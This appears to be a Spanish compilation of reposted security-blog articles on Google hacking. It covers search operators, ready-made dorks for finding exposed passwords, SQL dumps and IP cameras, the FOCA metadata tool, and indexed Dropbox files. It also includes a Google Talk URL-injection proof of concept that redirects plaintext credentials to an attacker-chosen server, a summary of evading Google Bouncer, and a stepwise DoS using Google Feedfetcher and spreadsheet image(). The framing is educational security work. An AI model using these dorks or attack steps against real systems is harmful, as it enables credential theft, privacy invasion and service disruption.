Hackeando con google

Este tema en realidad es antiguo y repetitivo pero cabe anotar que es primera vez que visito la página de donde ha salido el manual. Por tal motivo es bueno que lo tengan como referencia para futuras pruebas de seguridad y también aumentar las técnicas a bing hacking y yahoo :)

________________________________________________________________________________

Hola Crackeros! En esta nueva entrada les quiero hablar sobre un tema muy interesante y poco conocido por algunos...hablo sobre el "Google Hacking" que digamos es una tecnica de "Information Gathering" o "Recopilacion de Informacion" una de las etapas de cualquier proceso convencional de Ethical Hacking con el cual si es que sabemos usarlo bien (Para algo bueno) podemos obtener mucho mas que simple informacion.

Antes que nada quisiera explicarles un poco algunos conceptos importantes que debemos entender a la hora de hablar sobre "Buscadores en Internet" como bien ustedes saben Internet es un lugar infinito de informacion el cual contiene todo tipo de datos (Paginas Web, Videos, Musica, Archivos, Textos, etc..) todo eso esta alojado en un mundo inmenso el cual require de buscadores para poder ubicarlos usando "criterios de busqueda" como puede ser el nombre de un autor para encontrar una cancion, como puede ser el nombre de un actor para encontrar una pelicula, etc. Aqui entra un termino muy interesante que se llama "indexar" nosotros le decimos a los buscadores que indexe o no indexe nuestra informacion en el buscador.. es decir le decimos que si queremos o no queremos que sea localizable por estos motores de busqueda (Aunque no siempre es asi)

Entonces metamonos un  poco mas a esta palabra "Indexar" y tambien a la palabra "Pagina web", toda pagina web decide que quiere indexar o no usando un tipo de archivo llamado Robots.txt el cual generalmente esta en texto plano y se encuentra alojado en las paginas webs, todas tienen robots.txt

Vamos a ver que contienen estos archivos robots.txt ingresamos a uno :

Como podemos ver estos archivos son leidos por Google,Bing,Yahoo etc y supuestamente respetan lo siguiente :

User-agent : Permite que este archivo sea visto por todos los buscadores

Disallow: Deniega la indexacion de lo que indiquemos, en este caso esta denegando que podamos acceder:

www.victima.com/wp-admin/....

www.victima.com/wp-includes/.... 

Que podemos ganar con esto? Se puede conocer directorios ocultos y que el administrador no quiere que conoscascamos, en este caso ya descubrimos que es una web hecha en Wordpress y que el modulo de administracion es el mismo por defecto.

Ahora podemos hablar un poco del tema principal el cual es "Google Hacking" Como todos sabran google es el buscador mas usado a nivel mundial el cual nos facilita encontrar lo que buscamos simplemente usando criterios de busquedas, sin embargo Google tambien nos permite usar cierto tipo de caracteres especiales , operadores logicos o booleanos que a la larga nos pueden servir para encontrar informacion mucho mas exacta.

Operador logico NOT (-) : 

Estudiemos en primer lugar operadores logicos de busqueda en google si digamos quisiera buscar algunas ingenierias en Google pero no quisiera que me muestre ingenierias de sistemas, industrial, empresarial, ambiental o agricola podemos usar el siguiente criterio de busqueda:

Ingenieria -sistema -industrial -empresarial -ambiental -agricola

Como pueden ver usamos el operador "-" el cual lo que hara es excluir de nuestra busqueda general ciertas palabras en su criteri, este criterio tambien es conocido como operador NOT 

Operador logico OR (|) :  

Tambien podemos usar el operador logico OR usando el simbolo | (el famoso pipeline) con esto podemos efectuar criterios de busqueda como por ejemplo si quiero buscar en google resultados que contengan el termino futbol y peruano debo usar lo siguiente :

 futbol | peruano

Ya veran lo util que es combinar estos operadores de busqueda.

 Operador logico AND (+) :

Se utiliza para incluir mas de 2 palabras en nuestras busquedas por ejemplo si quisieramos buscar alquiler de departamentos en Lince (Distrito de Lima-Peru) podemos hacer lo siguiente :

alquiler de departamentos +lince  

  Operador logico precision de busqueda ("") :

Podemos usar las comillas simples para realizar busquedas exactas en nuestros buscadores esto con el fin de determinar resultados exactos. Podemos buscar por ejemplo un nombre cualquiera en google yo usare el primer nombre que vea en mi facebook "Christan Tolentino Pardo" vean que el resultado es muy diferente a buscar solo Christian Tolentino Pardo. Veamos lo que nos resulta :

"Christan Tolentino Pardo"

Como pueden ver pudimos encontrar algunas redes sociales en las que esta registrado nuestro amigo y ademas pudimos determinar que hay un perfil en facebook de una chica que tiene una relacion con el.. esto es muy importante y a la vez peligroso cuando colocamos nuestra informacion pesonal en internet


 Operadores :

Esta es mi parte favorita a la hora de trabajar con GoogleHacking el uso de operadores propios de google para hacer busquedas nos proporciona de un arsenal de posibilidades de las cuales se pueden sacar muchisimos beneficios (Para cosas buenas y cosas malas)

Uno de los operadores mas usados en site:dominio.com el cual sirve para hacer busquedas en un determinado dominio y no salirse de el ejemplo si quisiera buscar la palabra "Examen CCNA"  en la web de Cisco

site:cisco.com "Examen CCNA"

Podemos usar tambien el operador "site:" para definir sitios web con una determinada extension de domino por ejemplo si quieremos buscar la palabra EXAMEN dentro de sitios web con extension edu.pe debemos hacer lo siguiente :

site:edu.pe Examen Final

Otro tipo de operador de busqueda y el cual es muy poderoso a la hora de encontrar cierto tipo de archivos es el operador "filetype:" el cual lo que hara es buscar archivos de cierto tipó que nosotros definamos como por ejemplo :

• txt (Archivos mde Texto Plano)
• doc (Archivos Word)
• pdf (Documentos PDF)
• db (Base de datos)
• log (Archivo de logs) 
• etc

Por ejemplo :

site:gob.pe filetype:pdf Economia

Con esto estoy diciendole a google que busque archivos PDF en web de gobierno peruano qu contengan el nombre "Economia"

Aqui tengo una recopilacion de algunos otros operadores que podemos usar : 

Allintext:texto: Este operador busca una cadena de texto dentro de una pagina web y
no dentro de una URL. (No se puede utilizar junto a otros)
Allintitle:texto: Busca una cadena de texto solo dentro del titulo de una web. (No se puede utilizar junto a otros)
Intitle:texto: Busca una cadena de texto dentro del titulo de una web. (Se puedeutilizar junto a otros)
Allinurl:texto: Busca una cadena de texto solo en la url. (No se puede utilizar junto a otros)
Inurl:texto: Busca una cadena de texto en la url. (Se puede utilizar junto a otros)
Author:texto: Busca artículos o noticias escritos por el nombre o la dirección de correoindicada. (Se puede utilizar junto a otros)
Cache:dominio.com: Con este operador accedemos a la web que Google tiene en su cache. Útil para cuando borraron un tema y no ha pasado mucho tiempo (No se puede
utilizar junto a otros)
Link:dominio.com
Este operador se utiliza para buscar enlaces que apunten a un determinado sitio web. (No se puede utilizar junto a otros)
Related:dominio.com: Busca paginas relacionadas. (No se puede utilizar junto a otros)

Pueden ver algunos otros mas aqui
 
Como ven es demasiado extenso este tema, posteriormente ire haciendo publicaciones para tipos de busqueda especificos en el cual podemos obtener informacion como base de datos, accesos a sistemas, camaras IP, etc

Ahora vamos a crear nuestros propios Dorks Google! Que es eso? Pues vamos a crear nuestros parametros de consulta los cuales nos facilitaran a la hora de querer buscar algo muy muy muy determinado y recordemos que siempre estamos usando a nuestro buen amigo google (GIYF = Google is Your Friend)

Vamos a analizar algunos Dorks que realize y veremos lo que encontramos :

"login: *" "password: *" filetype:xls site:com.*

Aqui podemos ver que estamos buscando documentos del tipo XLS (Excel) que contengan en su informacion algun campo login:* y password:* donde * se usa como comodin y ademas estamos especificando la extension de dominio .com .* es decir estamos buscando una web que sea de algun pais 

Encontre un archivo de una pagina que pertenece a una entidad de colombia y que contiene la siguiente informacion : 

Podemos también buscar directorios sensibles, es decir directorios que contienen información interesante alojados generalmente en servidores FTP a los cuales podemos acceder ( Gracias a malas configuraciones en los permisos)

filetype:sql “# dumping data for table” “`PASSWORD` varchar”

Bases de datos sql volcadas completas, podemos ver datos de usuarios, contraseñas y muchos otros datos. Incluso se podria  hacer modificaciones en la url de busqueda para sacar mas informacion.

Como ven ustedes mismos pueden ir haciendo sus propios Dorks e ir investigando.. Veamos algunos mas

“access denied for user” “using password” “general error” -inurl:phpbb “sql error”

Un conocido error de algunas versiones de Phpbb que nos muestra un error web que indica el nombre del usuario administrador.. con esto podemos hacer un ataque de fuerza bruta o diccionario solo para la contraseña

El punto aqui no es explotar la vulnerabilidad sino mas bien como idearnos a crear dorks

Hay algunos dorks muy simples que nos dan muy buenos resultados :

ext:sql intext:@gmail.com intext:password

Buscara archivo .sql que contengan en algun lado un correoen gmail y un campo password

Sin embargo con GoogleHacking tambien podemos "ver" y "escuchar" cosas muy interesantes..
es bien sabido por muchos que actualmente las camaras, impresoras,webcams, telefonos casi todo trabaja a traves de IP y muchos de estos estan publicados en internet y sin querer pueden ser localizados por google

Podemos usar algunos dorks :

inurl:”ViewerFrame?Mode=”

intitle:”i-catcher console” “please visit”

El resultado casi siempre es el mismo..

 

Pero por que esto seria peligroso? Ponganse en el lugar de un atacante que tome el control de una camara ip de alguna empresa imaginense que pudiera apagarla o simplemente manejarla y moverla a un lado.. los delincuentes podrian hacer de las suyas y no quedaria nada grabado

Recuerdan lo de robots.txt? pues teniendo esto claro se me ocurrio colocar 

“robots.txt” “disallow:” filetype:txt site:com.pe

Archivos robots.txt que contengan ordenes Disallow (cosas que no quieren que veamos) y ademas que sean de Peru..

Como ven hay mucho por probar y hacer este fue un post extenso para que vayan entendiendo bien y se pongan a trabajar descubriendo mas y mas dorks..

Hay algunas herramientas que automatizan este trabajo como es el caso y podemos buscarlas por la red como es el caso de Anubis (En español) Site Digger (muy bueno)

Fuente: http://www.perucrack.net/2013/12/hackeando-con-google-creando-nuestros.html

La Herramienta Foca

En este Post hablaremos sobre una Herramienta muy útil y muy fácil para el tipo de análisis forense para iniciales que deseen meterse en esta rama tan interesante de aprender, bueno primero bajaremos la herramienta  y lo instalamos :

link : http://www.informatica64.com/foca.aspx

Nuestros primeros pasos en Foca :

Entrar a " Project " , le damos en "New Project"  y vamos a llegar los datos con la url de la web que deseamos analizar ,así como vemos en la siguiente Imagen  :

le damos "Create " Guardamos el Proyecto en una carpeta y en seguida estará analizando los archivos las cuales tendrán los  Metadatos de sus archivos  entre las conecciones " Network" para ver los usuarios de conectados ETC ,entre ellos podemos ya tener en cuenta los objetivos de ataque ,ya con una manera mas organizada .

Como vemos en esta imagen  nos salen documentos de " microsoft Office " entre otros, bueno para comenzare a explicar  como pueden ser tan peligrosos estos archivos para un ataque de identidad de el ordenador , o simplemente para dar a conocer el origen de creación de dichos files, pero que son los Metadatos ?

Los metadatos son datos de datos  . usted me diría   " Quee es eso  ? "  déjeme decirle que cuando crea un archivo ya sea en un documento de Office, automáticamente Nuestra " PC "  guarda información muy clasificada de datos a nuestro documento " Invisiblemente " pero que es lo que esconde esta información de datos en nuestros archivos " El nombre de usuario donde fue Creado " La fecha de creación  , " la Edición " , los tipos de hardware  y Software que estuvieron Conectados en dicho Proceso  claro que esto seria en una archivo ,En  una foto seria " La Geolocalizacion de donde se tomo la foto " , la marca del celular o sistema inteligente donde se tomo la foto ", o si simplemente de edito la foto añadiendo nuevas cosas o eliminando algun grafico, podemos ver su estado original ,sorprenderte verdad ? 

Pues sigamos como vimos documentos yo pasare a seleccionar todos los documentos y añadiré la opción "Download All "  luego que empiece  a cagar toda la barra y salga un punto verde pondre   nuevamente seleccionare todos  y pondré  "Extract Metadata " y En segundos estará Extrayendo los metadatos 

Como vemos en la pantalla " Metadata Summary"  ya hemos recogido información clasificada de dichos archivos , pasaremos a verlos en las siguientes imágenes :

Como vemos esta es la Sección "  Usuarios " donde vemos que salen los nombres de los  Ordenadores donde fueron creados dichos documentos :

En esta otra Imagen como vemos  nos muestra " Los Sotfwares "  

Fuente: http://backtrack-omar.blogspot.com/2013/10/la-herramienta-foca.html

Lo que se comparte por Dropbox al alcance en Google

 En varias ocasiones he hablado por aquí del problema que tienen las opciones de indexación de URLs tal y como se configuran el Google que pueden llevar a fugas de datos y problemas de privacidad. Ejemplos de esto os he puesto con Facebook, WhatsApp y con Gmail, pero el número de sitios que se ven afectados son infinitos, por lo que puedes pasarte una tarde divertida dorking as a ninja a ver qué sale.

Figura 1: Fichero robots.txt de DropBox

Un amigo por Facebook - ¡Gracias Alan Brian! - en lugar de pedirme que hackeara cosas para él, me avisó de que en Dropbox sucede lo mismo y que el material que allí se puede encontrar es jugoso. Basta con irse a echar un ojo al fichero robots.txt de DropBox para ver que todos los archvios que se encuentren en los directorios /s y /sh están prohibidos para su indexación, pero sin embargo las direcciones URLs y los títulos de las mismas sí que van a quedar indexadas salvo que se introduzcan las etiquetas en el código HTML de NoIndex o se añada el X-Robots-Tag "NoIndex" a nivel de servidor web y Google los vea, algo para lo que no debería estar configurado el fichero robots.txt ya que si está el fichero robots.txt prohibiendo el acceso no verá las etiquetas. Incongruencia máxima de cómo funciona esto.

Figura 2: 1.570.000 URLs indexadas en /s

En Dropbox el número de URLs indexadas es de 1.570.000 sólo en el directorio /s, lo que deja para buscar y jugar largo rato haciendo hacking con buscadores. Hay algunas URLs filtradas con permisos de seguridad, archivos que ya no están, pero lo cierto es que la mayoría de esas URLs llevan a ficheros que sí que están y son accesibles, por lo que se puede sacar de todo.

Buscando así, al azar, aparecen ficheros con bases de datos de usuarios y contraseñas, archivos comprimidos con fotografías, código fuente de programas y aplicaciones, libros, música que se puede buscar como hacíamos en Skydrive, películas, y casi cualquier cosa que se te ocurra.

Figura 3: Dump de 450.000 usuarios y passwords de Yahoo!

Entre las cosas que he sido capaz de localizar está la presentación completa del Codemotion ES que yo utilicé este año y que entregué a los organizadores, lo que me ha permitido recuperar completas todas las diapositivas de la charla que había perdido - larga vida al hacking -.

Cuidado con Google y el robot.txt

De todo ello, lo que más me ha maravillado es cómo se puede buscar en Google información prohibida por robots.txt. Veréis, yo he buscado por IBAN para ver si había gente que hubiera subido datos de cuentas corrientes a Dropbox, y me ha salido un resultado donde en el título se puede ver la palabra IBAN, aunque como está protegido por robots.txt no puedo ver ningún dato del resultado.

Figura 4: Resultados con información de una cuenta corriente bancaria

Cuando he ido a ver el sitio a ver qué se estaba compartiendo de forma pública se puede ver que hay una página con información de una cuenta bancaria, pero el texto IBAN solo aparece en el contenido del fichero PDF y no se encuentra en el título de la página, es decir, está solo en el texto de algún enlace a este documento.

Figura 5: El dato de IBAN no aparece ni en la URL ni en el título, solo en el contenido

Mirando el código fuente a ver otra de las palabras que aparece en el título que aparece en los resultados de búsqueda de Google, la palabra CODICE, se puede ver que tampoco está allí, por lo que parece más que evidente que Google está indexando la URL de ese documento PDF y deja buscar por términos asociados, como los del texto del enlace. Es decir, Google indexa en su base de datos el documento PDF, genera metadatos sobre el documento generados a partir el texto de algún enlace y deja buscar por ellos.

Figura 6: CODICE tampoco está en el código fuente de la página

Además, parece que la gente de DropBox ha decidido que esto no debería estar así y en el código fuente se puede ver la etiqueta NoIndex para que Google no indexe nada del contenido de esa página web, pero Google no le ha hecho caso porque esta URL está prohibida por robots.txt y Google nunca leerá esa etiqueta y por tanto no le hará caso..

Figura 7: La página tiene la etiqueta noindex en el código HTML, pero está en la base de datos de Google

A los administradores de Dropbox les tocará darse un paseo por las Herramientas del Webmaster e ir borrando las URLs que ellos consideren una a una, para que no quede esto así. La otra alternativa sería borrar el robots.txt para que Google lea las etiquetas noindex. Curioso funcionamiento. Si compartes algo por Dropbox, revisa bien los permisos de seguridad y las cuentas a las que les das acceso, y ten presente que si Google accede de alguna forma a tu URL puede que aparezcan fugas de información en el título, los metadatos generados con el texto del enlace que se cree sobre el documento o la misma URL.

Fuente: http://www.elladodelmal.com/2013/12/lo-que-se-comparte-por-dropbox-al.html

Inyección de parámetros en Google Talk

Desde hace tiempo sorprende que Google no haya actualizado su cliente Talk. Actualmente se pueden descargar dos versiones creadas en 2007: la versión 1.0.0.104 y la 1.0.0.105.

Recientemente se ha publicado una vulnerabilidad que podría permitir a un atacante obtener las credenciales del usuario mediante una dirección maliciosa.

En la primera versión 1.0.0.104 el cliente podría manejar direcciones "gtalk://" que podían lanzar el programa con una serie de parámetros especiales:

• /nomutex: permite abrir más de un Gtalk.
• /autostart: comprueba el registro para ver si Gtalk necesita ser iniciado. Si la opción "Iniciar automáticamente con Windows" no esta marcada, no lo arrancará.
• /forcestart: Similar a /autostart, pero fuera el inicio de Gtalk.
• /S upgrade: actualización de Google Talk.
• /register: añade Google Talk en el registro, incluyendo el método 'GMail Compose'.
• /checkupdate: comprueba nuevas versiones.
• /plaintextauth: utiliza un mecanismo de autenticación plano en luega de GAIA de Google.
• /nogaiaauth: desactiva el método de autenticación GAIA, igual que el anterior.
• /factoryreset: resetea la configuración y la pone por defecto.
• /gaiaserver servername.com: utiliza un servidor GAIA distinto para conectar Google Talk. Se creó para propósitos de depuración.
• /mailto email@host.com: envía un correo con Gmail.
• /diag: inicia Google Talk en modo diagnóstico.
• /log: activa el log.

Este cliente 1.0.0.104 habilitaba el manejador de direcciones "gtalk://" añadiendo en el registro las siguientes entradas:

[HKEY_CLASSES_ROOT\gtalk]
"URL Protocol"=""
[HKEY_CLASSES_ROOT\gtalk\shell]
[HKEY_CLASSES_ROOT\gtalk\shell\open]
[HKEY_CLASSES_ROOT\gtalk\shell\open\command]
@="\"C:\\Archivos de programa\\Google\\Google Talk\\googletalk.exe\" \"/%1\""

El problema es que al instalar la versión 1.0.0.105 "encima" de la 1.0.0.104, es decir, sin utilizar el desinstalador correspondiente, no se eliminan estas entradas y es posible crear una URL maliciosa con estos parámetros especiales para que envíe las credenciales en texto plano al servidor que especifiquemos:

gtalk://mymail@gmail.com ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/

chat with me

Como veis en la PoC, si seguimos el enlace, las credenciales se envían a 192.168.201:80 en lugar de al servidor gaia de Google.
Escuchando en ese puerto o esnifando la red podremos ver la petición POST con la contraseña en claro:

POST /accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
Host: 192.168.2.101
User-Agent: Google Talk
Email=your%40gmail.com&Passwd=%70%61%73%73&PersistentCookie=false&source=googletalk

Si decodificamos la URL obtenemos:

user: yout@gmail.com
pass: pass

Además si el usuario ya está autenticado en GMail las credenciales se envían sin necesidad de que el usuario interaccione. Y, como veis, resultaría muy sencillo poner un enlace malicioso para obtener las credenciales de usuarios de Google Talk vulnerables....

 

Fuente:http://www.hackplayers.com

Google+ incorpora reconocimiento facial en las fotos

EUROPA PRESS. Google+ ha comenzado a ofrecer la nueva aplicación 'Find my face', capaz de reconocer caras en las fotos subidas a la red social, lo que facilita el etiquetado de fotos. La opción aparecerá en la página de forma progresiva en diferentes países.

Es una aplicación fácil de utilizar, pensada para facilitar el etiquetado de fotografías. Cada usuario debe autorizar de forma explícita y personal el reconocimiento de su rostro en las fotografías. De esta forma, cuando uno de nuestros amigos suba una fotografía a Google+, el sistema le sugerirá que nos etiquete.

Este tipo de tecnologías suele despertar conflictos de privacidad, por los que Google ha prestado especial cuidado en la aceptación y autorización del servicio y la transparencia de su uso.

De momento, Google+ presentará un cuadro de diálogo de consentimiento explícito a los usuarios cada vez que el usuario visite cualquier foto en Google+. Para evitar problemas, en los próximos meses aparecerá un recordatorio para aquello usuarios que no hayan elegido dicha opción la puedan seleccionar , así como desactivarla.

No deja de ser curioso cómo Google está adoptando poco a poco el reconocimiento facial en sus productos, teniendo en cuenta la opinión de Eric Schmidt al respecto. Cuando ostentaba el cargo de consejero delegado, el directivo dijo que consideraba que el reconocimiento facial era "escalofriante".

El sistema de Google+ debe almacenar los rostros de los usuarios que accedan a usar 'Find my face' para encontrarlas en las fotos de otros.

Fuente: 20 minutos

http://www.hackplayers.com

Algunas extensiones curiosas

Buenas a todos, hoy  hablamos sobre Google Hacking y algunos verbos y búsquedas curiosos que podremos realizar durante una auditoría.

Uno de mis verbos preferidos, y como ya os comenté en la primera parte de la cadena era el verbo EXT de Google Hacking y que nos permite localizar ficheros indexados por el buscador con la extensión que nosotros le indiquemos.

• “ext: sql”: Nos permitirá localizar archivos con instrucciones SQL:

• “ext: rdp“: Nos permitirá localizar archivos RDP (Remote Desktop Protocol), para conectarnos a Terminal Services y que podremos utilizar en la fase de fingerprint para obtener más información:

• “ext: log“: Nos permitirá localizar archivos de logs. Bastante útil ya veréis :)

• “ext: bak“: Nos permitirá localizar archivos de respaldo o backup de bbdd, aplicaciones con sistemas de autoguardado, etc. que pudiesen haber sido indexados:

• “ext: listing“: Nos permitirá listar el contenido de un directorio al invocar a este tipo de ficheros creados por WGET:

• “ext: ws_ftp.log“: Nos permitirá listar archivos de log del cliente ws_ftp:

No debemos olvidarnos la extensión svn de los respositorios de subversions, ni de los archivos de Office, ya que mucha información interesante es almacenada habitualmente en hojas de excel, access o diagramas realizados con visio, y podrían haber sido indexadas por Google.
Otro verbo que nos puedo dar mucho jugo es el verbo SITE.
Una búsqueda interesante es:

• “site: /dominio:*” Con el que localizaremos aplicaciones tras puertos poco típicos (podéis jugar con la barra e incluso filtrar por puertos determinados):

 

FUENTE:http://andres-elladooscuro.blogspot.com/2012/07/algunas-extensiones-curiosas.html

Cómo subir aplicaciones maliciosas a Google Play (análisis y evasión de Google Bouncer)

Jon Oberheide y Charlie Miller dieron una interesante charla en la SummerCon de este año bautizada como 'Dissecting The Android Bouncer' en la que demostraban que el Google Bouncer con el que Google escanea aplicaciones en su tienda Google Play es inseguro.

Para los que no habíais leído nada antes acerca de este Bouncer, deciros que se trata de un sandbox que emula un entorno Android y ejecuta la aplicación durante 5 minutos para una análisis dinámico de la misma. Este entorno se ejecuta en la infraestructura de Google y permite acceso externo, así que ambos investigadores enviaron varias aplicaciones falsas para registrar procesos y lanzar una conexión inversa contra la instancia QEmu en los servidores de Google.

Gracias a esto pudieron recopilar información suficiente para obtener un "fingerprint" del Bouncer. Y, ¿para qué?. Pues está claro. Para subir una aplicación capaz de analizar el entorno donde se está ejecutando y enmascararse si detecta que está siendo evaluada por este sistema.

En el siguiente video se puede observar todo el proceso y demás datos que recolectaron de las instancias de Google Bouncer:
 

Fuente: http://www.hackplayers.com/2012/06/como-subir-aplicaciones-maliciosas.html

Cómo usar Google para realizar un DoS contra sitios web alojados en grandes dominios

Panos Ipeirotis, profesor de la Universidad de Nueva York ha descubierto accidentalmente una forma muy sencilla de realizar un ataque DoS a través de los servidores de Google.

Esto podría suponer la disposición de una herramienta muy "destructiva" capaz de generar más de 100 peticiones por segundo y ofrecer a un atacante cierto anonimato.

¿Qué que permite esto?

Pues aparentemente Google utiliza el agente Feedfetcher como recolector de todo tipo de URLs (no sólo feeds) y, como las URLs pueden ser privadas, Google no las cachea porque no puede almacenar datos personales. Esto hace que el crawler se tenga que lanzar periodicamente cada hora, con el añadido de que Feedfetcher ignora el fichero robots.txt. Además Google tampoco puede limitar el tráfico a dominios enormes como s3.amazonaws.com que tienen terabytes de contenido web, por lo que un ataque a un sitio alojado en Amazon o un gran dominio de Internet sería posible.

¿Y cual es la técnica para realizar el ataque?

Panos explica un sencillo procedimiento para utilizar a Google como medio para atacar a otros sitios:

1.- Conseguir un gran número de URLs del sitio web objetivo. Preferiblemente URLs con ficheros grandes (jpg, pdf, etc.)

2.- Poner las URLs en un feed de Google Reader, o dentro de una hoja de cálculo (Google spreadsheet) en Docs

3.- Poner el feed dentro de un servicio de Google, o usar el comando image(url) en Google spreadsheet

4.- Sentarse y ver como Google lanza un ataque de denegación de servicio contra el objetivo

En conclusión, no importa cuan nobles sean las intenciones por las que se crea una herramienta, si esta mal diseñada o es susceptible a explotar cualquier mínimo fallo puede convertirse en una herramienta altamente destructiva.

Podéis leer el caso en detalle en el post de Panos Ipeirotis: http://www.behind-the-enemy-lines.com/2012/04/google-attack-how-i-self-attacked.html

 

Fuente: http://www.hackplayers.com/2012/04/como-usar-google-para-realizar-un-dos.html